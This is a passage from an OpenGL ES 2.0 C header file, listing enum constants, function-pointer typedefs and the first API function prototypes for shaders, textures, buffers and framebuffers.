GL_ACTIVE_UNIFORMS 0x8B86 #define GL_ACTIVE_UNIFORM_MAX_LENGTH 0x8B87 #define GL_ACTIVE_ATTRIBUTES 0x8B89 #define GL_ACTIVE_ATTRIBUTE_MAX_LENGTH 0x8B8A #define GL_SHADING_LANGUAGE_VERSION 0x8B8C #define GL_CURRENT_PROGRAM 0x8B8D #define GL_NEVER 0x0200 #define GL_LESS 0x0201 #define GL_EQUAL 0x0202 #define GL_LEQUAL 0x0203 #define GL_GREATER 0x0204 #define GL_NOTEQUAL 0x0205 #define GL_GEQUAL 0x0206 #define GL_ALWAYS 0x0207 #define GL_KEEP 0x1E00 #define GL_REPLACE 0x1E01 #define GL_INCR 0x1E02 #define GL_DECR 0x1E03 #define GL_INVERT 0x150A #define GL_INCR_WRAP 0x8507 #define GL_DECR_WRAP 0x8508 #define GL_VENDOR 0x1F00 #define GL_RENDERER 0x1F01 #define GL_VERSION 0x1F02 #define GL_EXTENSIONS 0x1F03 #define GL_NEAREST 0x2600 #define GL_LINEAR 0x2601 #define GL_NEAREST_MIPMAP_NEAREST 0x2700 #define GL_LINEAR_MIPMAP_NEAREST 0x2701 #define GL_NEAREST_MIPMAP_LINEAR 0x2702 #define GL_LINEAR_MIPMAP_LINEAR 0x2703 #define GL_TEXTURE_MAG_FILTER 0x2800 #define GL_TEXTURE_MIN_FILTER 0x2801 #define GL_TEXTURE_WRAP_S 0x2802 #define GL_TEXTURE_WRAP_T 0x2803 #define GL_TEXTURE 0x1702 #define GL_TEXTURE_CUBE_MAP 0x8513 #define GL_TEXTURE_BINDING_CUBE_MAP 0x8514 #define GL_TEXTURE_CUBE_MAP_POSITIVE_X 0x8515 #define GL_TEXTURE_CUBE_MAP_NEGATIVE_X 0x8516 #define GL_TEXTURE_CUBE_MAP_POSITIVE_Y 0x8517 #define GL_TEXTURE_CUBE_MAP_NEGATIVE_Y 0x8518 #define GL_TEXTURE_CUBE_MAP_POSITIVE_Z 0x8519 #define GL_TEXTURE_CUBE_MAP_NEGATIVE_Z 0x851A #define GL_MAX_CUBE_MAP_TEXTURE_SIZE 0x851C #define GL_TEXTURE0 0x84C0 #define GL_TEXTURE1 0x84C1 #define GL_TEXTURE2 0x84C2 #define GL_TEXTURE3 0x84C3 #define GL_TEXTURE4 0x84C4 #define GL_TEXTURE5 0x84C5 #define GL_TEXTURE6 0x84C6 #define GL_TEXTURE7 0x84C7 #define GL_TEXTURE8 0x84C8 #define GL_TEXTURE9 0x84C9 #define GL_TEXTURE10 0x84CA #define GL_TEXTURE11 0x84CB #define GL_TEXTURE12 0x84CC #define GL_TEXTURE13 0x84CD #define GL_TEXTURE14 0x84CE #define GL_TEXTURE15 0x84CF #define GL_TEXTURE16 0x84D0 #define GL_TEXTURE17 0x84D1 #define GL_TEXTURE18 0x84D2 #define GL_TEXTURE19 0x84D3 #define GL_TEXTURE20 0x84D4 #define GL_TEXTURE21 0x84D5 #define GL_TEXTURE22 0x84D6 #define GL_TEXTURE23 0x84D7 #define GL_TEXTURE24 0x84D8 #define GL_TEXTURE25 0x84D9 #define GL_TEXTURE26 0x84DA #define GL_TEXTURE27 0x84DB #define GL_TEXTURE28 0x84DC #define GL_TEXTURE29 0x84DD #define GL_TEXTURE30 0x84DE #define GL_TEXTURE31 0x84DF #define GL_ACTIVE_TEXTURE 0x84E0 #define GL_REPEAT 0x2901 #define GL_CLAMP_TO_EDGE 0x812F #define GL_MIRRORED_REPEAT 0x8370 #define GL_FLOAT_VEC2 0x8B50 #define GL_FLOAT_VEC3 0x8B51 #define GL_FLOAT_VEC4 0x8B52 #define GL_INT_VEC2 0x8B53 #define GL_INT_VEC3 0x8B54 #define GL_INT_VEC4 0x8B55 #define GL_BOOL 0x8B56 #define GL_BOOL_VEC2 0x8B57 #define GL_BOOL_VEC3 0x8B58 #define GL_BOOL_VEC4 0x8B59 #define GL_FLOAT_MAT2 0x8B5A #define GL_FLOAT_MAT3 0x8B5B #define GL_FLOAT_MAT4 0x8B5C #define GL_SAMPLER_2D 0x8B5E #define GL_SAMPLER_CUBE 0x8B60 #define GL_VERTEX_ATTRIB_ARRAY_ENABLED 0x8622 #define GL_VERTEX_ATTRIB_ARRAY_SIZE 0x8623 #define GL_VERTEX_ATTRIB_ARRAY_STRIDE 0x8624 #define GL_VERTEX_ATTRIB_ARRAY_TYPE 0x8625 #define GL_VERTEX_ATTRIB_ARRAY_NORMALIZED 0x886A #define GL_VERTEX_ATTRIB_ARRAY_POINTER 0x8645 #define GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING 0x889F #define GL_IMPLEMENTATION_COLOR_READ_TYPE 0x8B9A #define GL_IMPLEMENTATION_COLOR_READ_FORMAT 0x8B9B #define GL_COMPILE_STATUS 0x8B81 #define GL_INFO_LOG_LENGTH 0x8B84 #define GL_SHADER_SOURCE_LENGTH 0x8B88 #define GL_SHADER_COMPILER 0x8DFA #define GL_SHADER_BINARY_FORMATS 0x8DF8 #define GL_NUM_SHADER_BINARY_FORMATS 0x8DF9 #define GL_LOW_FLOAT 0x8DF0 #define GL_MEDIUM_FLOAT 0x8DF1 #define GL_HIGH_FLOAT 0x8DF2 #define GL_LOW_INT 0x8DF3 #define GL_MEDIUM_INT 0x8DF4 #define GL_HIGH_INT 0x8DF5 #define GL_FRAMEBUFFER 0x8D40 #define GL_RENDERBUFFER 0x8D41 #define GL_RGBA4 0x8056 #define GL_RGB5_A1 0x8057 #define GL_RGB565 0x8D62 #define GL_DEPTH_COMPONENT16 0x81A5 #define GL_STENCIL_INDEX8 0x8D48 #define GL_RENDERBUFFER_WIDTH 0x8D42 #define GL_RENDERBUFFER_HEIGHT 0x8D43 #define GL_RENDERBUFFER_INTERNAL_FORMAT 0x8D44 #define GL_RENDERBUFFER_RED_SIZE 0x8D50 #define GL_RENDERBUFFER_GREEN_SIZE 0x8D51 #define GL_RENDERBUFFER_BLUE_SIZE 0x8D52 #define GL_RENDERBUFFER_ALPHA_SIZE 0x8D53 #define GL_RENDERBUFFER_DEPTH_SIZE 0x8D54 #define GL_RENDERBUFFER_STENCIL_SIZE 0x8D55 #define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE 0x8CD0 #define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME 0x8CD1 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL 0x8CD2 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE 0x8CD3 #define GL_COLOR_ATTACHMENT0 0x8CE0 #define GL_DEPTH_ATTACHMENT 0x8D00 #define GL_STENCIL_ATTACHMENT 0x8D20 #define GL_NONE 0 #define GL_FRAMEBUFFER_COMPLETE 0x8CD5 #define GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT 0x8CD6 #define GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT 0x8CD7 #define GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS 0x8CD9 #define GL_FRAMEBUFFER_UNSUPPORTED 0x8CDD #define GL_FRAMEBUFFER_BINDING 0x8CA6 #define GL_RENDERBUFFER_BINDING 0x8CA7 #define GL_MAX_RENDERBUFFER_SIZE 0x84E8 #define GL_INVALID_FRAMEBUFFER_OPERATION 0x0506 typedef void (GL_APIENTRYP PFNGLACTIVETEXTUREPROC) (GLenum texture); typedef void (GL_APIENTRYP PFNGLATTACHSHADERPROC) (GLuint program, GLuint shader); typedef void (GL_APIENTRYP PFNGLBINDATTRIBLOCATIONPROC) (GLuint program, GLuint index, const GLchar *name); typedef void (GL_APIENTRYP PFNGLBINDBUFFERPROC) (GLenum target, GLuint buffer); typedef void (GL_APIENTRYP PFNGLBINDFRAMEBUFFERPROC) (GLenum target, GLuint framebuffer); typedef void (GL_APIENTRYP PFNGLBINDRENDERBUFFERPROC) (GLenum target, GLuint renderbuffer); typedef void (GL_APIENTRYP PFNGLBINDTEXTUREPROC) (GLenum target, GLuint texture); typedef void (GL_APIENTRYP PFNGLBLENDCOLORPROC) (GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha); typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONPROC) (GLenum mode); typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONSEPARATEPROC) (GLenum modeRGB, GLenum modeAlpha); typedef void (GL_APIENTRYP PFNGLBLENDFUNCPROC) (GLenum sfactor, GLenum dfactor); typedef void (GL_APIENTRYP PFNGLBLENDFUNCSEPARATEPROC) (GLenum sfactorRGB, GLenum dfactorRGB, GLenum sfactorAlpha, GLenum dfactorAlpha); typedef void (GL_APIENTRYP PFNGLBUFFERDATAPROC) (GLenum target, GLsizeiptr size, const void *data, GLenum usage); typedef void (GL_APIENTRYP PFNGLBUFFERSUBDATAPROC) (GLenum target, GLintptr offset, GLsizeiptr size, const void *data); typedef GLenum (GL_APIENTRYP PFNGLCHECKFRAMEBUFFERSTATUSPROC) (GLenum target); typedef void (GL_APIENTRYP PFNGLCLEARPROC) (GLbitfield mask); typedef void (GL_APIENTRYP PFNGLCLEARCOLORPROC) (GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha); typedef void (GL_APIENTRYP PFNGLCLEARDEPTHFPROC) (GLfloat d); typedef void (GL_APIENTRYP PFNGLCLEARSTENCILPROC) (GLint s); typedef void (GL_APIENTRYP PFNGLCOLORMASKPROC) (GLboolean red, GLboolean green, GLboolean blue, GLboolean alpha); typedef void (GL_APIENTRYP PFNGLCOMPILESHADERPROC) (GLuint shader); typedef void (GL_APIENTRYP PFNGLCOMPRESSEDTEXIMAGE2DPROC) (GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLint border, GLsizei imageSize, const void *data); typedef void (GL_APIENTRYP PFNGLCOMPRESSEDTEXSUBIMAGE2DPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLsizei imageSize, const void *data); typedef void (GL_APIENTRYP PFNGLCOPYTEXIMAGE2DPROC) (GLenum target, GLint level, GLenum internalformat, GLint x, GLint y, GLsizei width, GLsizei height, GLint border); typedef void (GL_APIENTRYP PFNGLCOPYTEXSUBIMAGE2DPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint x, GLint y, GLsizei width, GLsizei height); typedef GLuint (GL_APIENTRYP PFNGLCREATEPROGRAMPROC) (void); typedef GLuint (GL_APIENTRYP PFNGLCREATESHADERPROC) (GLenum type); typedef void (GL_APIENTRYP PFNGLCULLFACEPROC) (GLenum mode); typedef void (GL_APIENTRYP PFNGLDELETEBUFFERSPROC) (GLsizei n, const GLuint *buffers); typedef void (GL_APIENTRYP PFNGLDELETEFRAMEBUFFERSPROC) (GLsizei n, const GLuint *framebuffers); typedef void (GL_APIENTRYP PFNGLDELETEPROGRAMPROC) (GLuint program); typedef void (GL_APIENTRYP PFNGLDELETERENDERBUFFERSPROC) (GLsizei n, const GLuint *renderbuffers); typedef void (GL_APIENTRYP PFNGLDELETESHADERPROC) (GLuint shader); typedef void (GL_APIENTRYP PFNGLDELETETEXTURESPROC) (GLsizei n, const GLuint *textures); typedef void (GL_APIENTRYP PFNGLDEPTHFUNCPROC) (GLenum func); typedef void (GL_APIENTRYP PFNGLDEPTHMASKPROC) (GLboolean flag); typedef void (GL_APIENTRYP PFNGLDEPTHRANGEFPROC) (GLfloat n, GLfloat f); typedef void (GL_APIENTRYP PFNGLDETACHSHADERPROC) (GLuint program, GLuint shader); typedef void (GL_APIENTRYP PFNGLDISABLEPROC) (GLenum cap); typedef void (GL_APIENTRYP PFNGLDISABLEVERTEXATTRIBARRAYPROC) (GLuint index); typedef void (GL_APIENTRYP PFNGLDRAWARRAYSPROC) (GLenum mode, GLint first, GLsizei count); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices); typedef void (GL_APIENTRYP PFNGLENABLEPROC) (GLenum cap); typedef void (GL_APIENTRYP PFNGLENABLEVERTEXATTRIBARRAYPROC) (GLuint index); typedef void (GL_APIENTRYP PFNGLFINISHPROC) (void); typedef void (GL_APIENTRYP PFNGLFLUSHPROC) (void); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERRENDERBUFFERPROC) (GLenum target, GLenum attachment, GLenum renderbuffertarget, GLuint renderbuffer); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE2DPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level); typedef void (GL_APIENTRYP PFNGLFRONTFACEPROC) (GLenum mode); typedef void (GL_APIENTRYP PFNGLGENBUFFERSPROC) (GLsizei n, GLuint *buffers); typedef void (GL_APIENTRYP PFNGLGENERATEMIPMAPPROC) (GLenum target); typedef void (GL_APIENTRYP PFNGLGENFRAMEBUFFERSPROC) (GLsizei n, GLuint *framebuffers); typedef void (GL_APIENTRYP PFNGLGENRENDERBUFFERSPROC) (GLsizei n, GLuint *renderbuffers); typedef void (GL_APIENTRYP PFNGLGENTEXTURESPROC) (GLsizei n, GLuint *textures); typedef void (GL_APIENTRYP PFNGLGETACTIVEATTRIBPROC) (GLuint program, GLuint index, GLsizei bufSize, GLsizei *length, GLint *size, GLenum *type, GLchar *name); typedef void (GL_APIENTRYP PFNGLGETACTIVEUNIFORMPROC) (GLuint program, GLuint index, GLsizei bufSize, GLsizei *length, GLint *size, GLenum *type, GLchar *name); typedef void (GL_APIENTRYP PFNGLGETATTACHEDSHADERSPROC) (GLuint program, GLsizei maxCount, GLsizei *count, GLuint *shaders); typedef GLint (GL_APIENTRYP PFNGLGETATTRIBLOCATIONPROC) (GLuint program, const GLchar *name); typedef void (GL_APIENTRYP PFNGLGETBOOLEANVPROC) (GLenum pname, GLboolean *data); typedef void (GL_APIENTRYP PFNGLGETBUFFERPARAMETERIVPROC) (GLenum target, GLenum pname, GLint *params); typedef GLenum (GL_APIENTRYP PFNGLGETERRORPROC) (void); typedef void (GL_APIENTRYP PFNGLGETFLOATVPROC) (GLenum pname, GLfloat *data); typedef void (GL_APIENTRYP PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVPROC) (GLenum target, GLenum attachment, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETINTEGERVPROC) (GLenum pname, GLint *data); typedef void (GL_APIENTRYP PFNGLGETPROGRAMIVPROC) (GLuint program, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETPROGRAMINFOLOGPROC) (GLuint program, GLsizei bufSize, GLsizei *length, GLchar *infoLog); typedef void (GL_APIENTRYP PFNGLGETRENDERBUFFERPARAMETERIVPROC) (GLenum target, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETSHADERIVPROC) (GLuint shader, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETSHADERINFOLOGPROC) (GLuint shader, GLsizei bufSize, GLsizei *length, GLchar *infoLog); typedef void (GL_APIENTRYP PFNGLGETSHADERPRECISIONFORMATPROC) (GLenum shadertype, GLenum precisiontype, GLint *range, GLint *precision); typedef void (GL_APIENTRYP PFNGLGETSHADERSOURCEPROC) (GLuint shader, GLsizei bufSize, GLsizei *length, GLchar *source); typedef const GLubyte *(GL_APIENTRYP PFNGLGETSTRINGPROC) (GLenum name); typedef void (GL_APIENTRYP PFNGLGETTEXPARAMETERFVPROC) (GLenum target, GLenum pname, GLfloat *params); typedef void (GL_APIENTRYP PFNGLGETTEXPARAMETERIVPROC) (GLenum target, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETUNIFORMFVPROC) (GLuint program, GLint location, GLfloat *params); typedef void (GL_APIENTRYP PFNGLGETUNIFORMIVPROC) (GLuint program, GLint location, GLint *params); typedef GLint (GL_APIENTRYP PFNGLGETUNIFORMLOCATIONPROC) (GLuint program, const GLchar *name); typedef void (GL_APIENTRYP PFNGLGETVERTEXATTRIBFVPROC) (GLuint index, GLenum pname, GLfloat *params); typedef void (GL_APIENTRYP PFNGLGETVERTEXATTRIBIVPROC) (GLuint index, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETVERTEXATTRIBPOINTERVPROC) (GLuint index, GLenum pname, void **pointer); typedef void (GL_APIENTRYP PFNGLHINTPROC) (GLenum target, GLenum mode); typedef GLboolean (GL_APIENTRYP PFNGLISBUFFERPROC) (GLuint buffer); typedef GLboolean (GL_APIENTRYP PFNGLISENABLEDPROC) (GLenum cap); typedef GLboolean (GL_APIENTRYP PFNGLISFRAMEBUFFERPROC) (GLuint framebuffer); typedef GLboolean (GL_APIENTRYP PFNGLISPROGRAMPROC) (GLuint program); typedef GLboolean (GL_APIENTRYP PFNGLISRENDERBUFFERPROC) (GLuint renderbuffer); typedef GLboolean (GL_APIENTRYP PFNGLISSHADERPROC) (GLuint shader); typedef GLboolean (GL_APIENTRYP PFNGLISTEXTUREPROC) (GLuint texture); typedef void (GL_APIENTRYP PFNGLLINEWIDTHPROC) (GLfloat width); typedef void (GL_APIENTRYP PFNGLLINKPROGRAMPROC) (GLuint program); typedef void (GL_APIENTRYP PFNGLPIXELSTOREIPROC) (GLenum pname, GLint param); typedef void (GL_APIENTRYP PFNGLPOLYGONOFFSETPROC) (GLfloat factor, GLfloat units); typedef void (GL_APIENTRYP PFNGLREADPIXELSPROC) (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, void *pixels); typedef void (GL_APIENTRYP PFNGLRELEASESHADERCOMPILERPROC) (void); typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEPROC) (GLenum target, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLSAMPLECOVERAGEPROC) (GLfloat value, GLboolean invert); typedef void (GL_APIENTRYP PFNGLSCISSORPROC) (GLint x, GLint y, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLSHADERBINARYPROC) (GLsizei count, const GLuint *shaders, GLenum binaryformat, const void *binary, GLsizei length); typedef void (GL_APIENTRYP PFNGLSHADERSOURCEPROC) (GLuint shader, GLsizei count, const GLchar *const*string, const GLint *length); typedef void (GL_APIENTRYP PFNGLSTENCILFUNCPROC) (GLenum func, GLint ref, GLuint mask); typedef void (GL_APIENTRYP PFNGLSTENCILFUNCSEPARATEPROC) (GLenum face, GLenum func, GLint ref, GLuint mask); typedef void (GL_APIENTRYP PFNGLSTENCILMASKPROC) (GLuint mask); typedef void (GL_APIENTRYP PFNGLSTENCILMASKSEPARATEPROC) (GLenum face, GLuint mask); typedef void (GL_APIENTRYP PFNGLSTENCILOPPROC) (GLenum fail, GLenum zfail, GLenum zpass); typedef void (GL_APIENTRYP PFNGLSTENCILOPSEPARATEPROC) (GLenum face, GLenum sfail, GLenum dpfail, GLenum dppass); typedef void (GL_APIENTRYP PFNGLTEXIMAGE2DPROC) (GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLint border, GLenum format, GLenum type, const void *pixels); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERFPROC) (GLenum target, GLenum pname, GLfloat param); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERFVPROC) (GLenum target, GLenum pname, const GLfloat *params); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERIPROC) (GLenum target, GLenum pname, GLint param); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERIVPROC) (GLenum target, GLenum pname, const GLint *params); typedef void (GL_APIENTRYP PFNGLTEXSUBIMAGE2DPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLenum type, const void *pixels); typedef void (GL_APIENTRYP PFNGLUNIFORM1FPROC) (GLint location, GLfloat v0); typedef void (GL_APIENTRYP PFNGLUNIFORM1FVPROC) (GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORM1IPROC) (GLint location, GLint v0); typedef void (GL_APIENTRYP PFNGLUNIFORM1IVPROC) (GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLUNIFORM2FPROC) (GLint location, GLfloat v0, GLfloat v1); typedef void (GL_APIENTRYP PFNGLUNIFORM2FVPROC) (GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORM2IPROC) (GLint location, GLint v0, GLint v1); typedef void (GL_APIENTRYP PFNGLUNIFORM2IVPROC) (GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLUNIFORM3FPROC) (GLint location, GLfloat v0, GLfloat v1, GLfloat v2); typedef void (GL_APIENTRYP PFNGLUNIFORM3FVPROC) (GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORM3IPROC) (GLint location, GLint v0, GLint v1, GLint v2); typedef void (GL_APIENTRYP PFNGLUNIFORM3IVPROC) (GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLUNIFORM4FPROC) (GLint location, GLfloat v0, GLfloat v1, GLfloat v2, GLfloat v3); typedef void (GL_APIENTRYP PFNGLUNIFORM4FVPROC) (GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORM4IPROC) (GLint location, GLint v0, GLint v1, GLint v2, GLint v3); typedef void (GL_APIENTRYP PFNGLUNIFORM4IVPROC) (GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX2FVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX3FVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX4FVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUSEPROGRAMPROC) (GLuint program); typedef void (GL_APIENTRYP PFNGLVALIDATEPROGRAMPROC) (GLuint program); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB1FPROC) (GLuint index, GLfloat x); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB1FVPROC) (GLuint index, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB2FPROC) (GLuint index, GLfloat x, GLfloat y); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB2FVPROC) (GLuint index, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB3FPROC) (GLuint index, GLfloat x, GLfloat y, GLfloat z); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB3FVPROC) (GLuint index, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB4FPROC) (GLuint index, GLfloat x, GLfloat y, GLfloat z, GLfloat w); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIB4FVPROC) (GLuint index, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIBPOINTERPROC) (GLuint index, GLint size, GLenum type, GLboolean normalized, GLsizei stride, const void *pointer); typedef void (GL_APIENTRYP PFNGLVIEWPORTPROC) (GLint x, GLint y, GLsizei width, GLsizei height); #if GL_GLES_PROTOTYPES GL_APICALL void GL_APIENTRY glActiveTexture (GLenum texture); GL_APICALL void GL_APIENTRY glAttachShader (GLuint program, GLuint shader); GL_APICALL void GL_APIENTRY glBindAttribLocation (GLuint program, GLuint index, const GLchar *name); GL_APICALL void GL_APIENTRY glBindBuffer (GLenum target, GLuint buffer); GL_APICALL void GL_APIENTRY glBindFramebuffer (GLenum target, GLuint framebuffer); GL_APICALL void GL_APIENTRY glBindRenderbuffer (GLenum target, GLuint renderbuffer); GL_APICALL void GL_APIENTRY glBindTexture (GLenum target, GLuint texture); GL_APICALL void GL_APIENTRY glBlendColor (GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha); GL_APICALL void GL_APIENTRY glBlendEquation (GLenum mode); GL_APICALL void GL_APIENTRY glBlendEquationSeparate (GLenum modeRGB, GLenum modeAlpha); GL_APICALL void GL_APIENTRY glBlendFunc (GLenum sfactor, GLenum dfactor); GL_APICALL void GL_APIENTRY glBlendFuncSeparate (GLenum sfactorRGB, GLenum dfactorRGB, GLenum sfactorAlpha, GLenum dfactorAlpha); GL_APICALL void GL_APIENTRY glBufferData (GLenum target, GLsizeiptr size, const void *data, GLenum usage); GL_APICALL void GL_APIENTRY glBufferSubData (GLenum target, GLintptr offset, GLsizeiptr size, const void *data); GL_APICALL GLenum GL_APIENTRY glCheckFramebufferStatus (GLenum target); GL_APICALL void GL_APIENTRY glClear (GLbitfield mask); GL_APICALL void GL_APIENTRY glClearColor (GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha); GL_APICALL void GL_APIENTRY glClearDepthf (GLfloat d); GL_APICALL void GL_APIENTRY glClearStencil (GLint s); GL_APICALL void GL_APIENTRY glColorMask (GLboolean red, GLboolean green, GLboolean blue, GLboolean alpha); GL_APICALL void GL_APIENTRY glCompileShader (GLuint shader); GL_APICALL void GL_APIENTRY glCompressedTexImage2D (GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLint border, GLsizei imageSize, const void *data); GL_APICALL void GL_APIENTRY glCompressedTexSubImage2D (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLsizei imageSize, const void *data); GL_APICALL void GL_APIENTRY glCopyTexImage2D (GLenum target, GLint level, GLenum internalformat, GLint x, GLint y, GLsizei width, GLsizei height, GLint border); GL_APICALL void GL_APIENTRY glCopyTexSubImage2D (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint x, GLint y, GLsizei width, GLsizei height); GL_APICALL GLuint GL_APIENTRY glCreateProgram (void); GL_APICALL GLuint GL_APIENTRY glCreateShader (GLenum type); GL_APICALL void GL_APIENTRY glCullFace (GLenum mode); GL_APICALL void GL_APIENTRY glDeleteBuffers (GLsizei n, const GLuint *buffers); GL_APICALL void GL_APIENTRY glDeleteFramebuffers (GLsizei n, const GLuint *framebuffers); GL_APICALL void GL_APIENTRY glDeleteProgram (GLuint program); GL_APICALL void GL_APIENTRY glDeleteRenderbuffers (GLsizei n, const GLuint *renderbuffers); GL_APICALL void GL_APIENTRY glDeleteShader (GLuint shader); GL_APICALL void GL_APIENTRY glDeleteTextures (GLsizei n, const GLuint *textures); GL_APICALL void GL_APIENTRY glDepthFunc (GLenum func); GL_APICALL void GL_APIENTRY glDepthMask (GLboolean flag); GL_APICALL void GL_APIENTRY glDepthRangef (GLfloat n, GLfloat f); GL_APICALL void GL_APIENTRY glDetachShader (GLuint program, GLuint shader); GL_APICALL void GL_APIENTRY glDisable (GLenum cap); GL_APICALL void GL_APIENTRY glDisableVertexAttribArray (GLuint index); GL_APICALL void GL_APIENTRY glDrawArrays (GLenum mode, GLint first, GLsizei count); GL_APICALL void GL_APIENTRY glDrawElements (GLenum mode, GLsizei count, GLenum type, const void *indices); GL_APICALL void GL_APIENTRY glEnable (GLenum cap); GL_APICALL void GL_APIENTRY glEnableVertexAttribArray (GLuint index); GL_APICALL void GL_APIENTRY glFinish (void); GL_APICALL void GL_APIENTRY glFlush (void); GL_APICALL void GL_APIENTRY glFramebufferRenderbuffer (GLenum target, GLenum attachment, GLenum renderbuffertarget, GLuint renderbuffer); GL_APICALL void GL_APIENTRY glFramebufferTexture2D (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level); GL_APICALL void GL_APIENTRY glFrontFace (GLenum mode); GL_APICALL void GL_APIENTRY glGenBuffers (GLsizei n, GLuint *buffers); GL_APICALL void GL_APIENTRY glGenerateMipmap (GLenum target); GL_APICALL void GL_APIENTRY glGenFramebuffers (GLsizei n, GLuint *framebuffers); GL_APICALL void GL_APIENTRY glGenRenderbuffers (GLsizei n, GLuint *renderbuffers); GL_APICALL void GL_APIENTRY glGenTextures (GLsizei n, GLuint *textures); GL_APICALL void GL_APIENTRY glGetActiveAttrib (GLuint program, GLuint index, GLsizei bufSize, GLsizei *length, GLint *size, GLenum *type, GLchar *name); GL_APICALL void GL_APIENTRY glGetActiveUniform (GLuint program, GLuint index, GLsizei bufSize, GLsizei *length, GLint *size, GLenum *type, GLchar *name); GL_APICALL void GL_APIENTRY glGetAttachedShaders (GLuint program, GLsizei maxCount, GLsizei *count, GLuint *shaders); GL_APICALL GLint GL_APIENTRY glGetAttribLocation (GLuint program, const GLchar *name); GL_APICALL void GL_APIENTRY glGetBooleanv (GLenum pname, GLboolean *data); GL_APICALL void GL_APIENTRY glGetBufferParameteriv (GLenum target, GLenum pname, GLint *params); GL_APICALL GLenum GL_APIENTRY glGetError (void); GL_APICALL void GL_APIENTRY glGetFloatv (GLenum pname, GLfloat *data); GL_APICALL void GL_APIENTRY glGetFramebufferAttachmentParameteriv (GLenum target, GLenum attachment, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetIntegerv (GLenum pname, GLint *data); GL_APICALL void GL_APIENTRY glGetProgramiv (GLuint program, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetProgramInfoLog (GLuint program, GLsizei bufSize, GLsizei *length, GLchar *infoLog); GL_APICALL void GL_APIENTRY glGetRenderbufferParameteriv (GLenum target, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetShaderiv (GLuint shader, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetShaderInfoLog (GLuint shader, GLsizei bufSize, GLsizei *length, GLchar *infoLog); GL_APICALL void GL_APIENTRY glGetShaderPrecisionFormat (GLenum shadertype, GLenum precisiontype, GLint *range, GLint *precision); GL_APICALL void GL_APIENTRY glGetShaderSource (GLuint shader, GLsizei bufSize, GLsizei *length, GLchar *source); GL_APICALL const GLubyte *GL_APIENTRY glGetString (GLenum name); GL_APICALL void GL_APIENTRY glGetTexParameterfv (GLenum target, GLenum pname, GLfloat *params); GL_APICALL void GL_APIENTRY glGetTexParameteriv 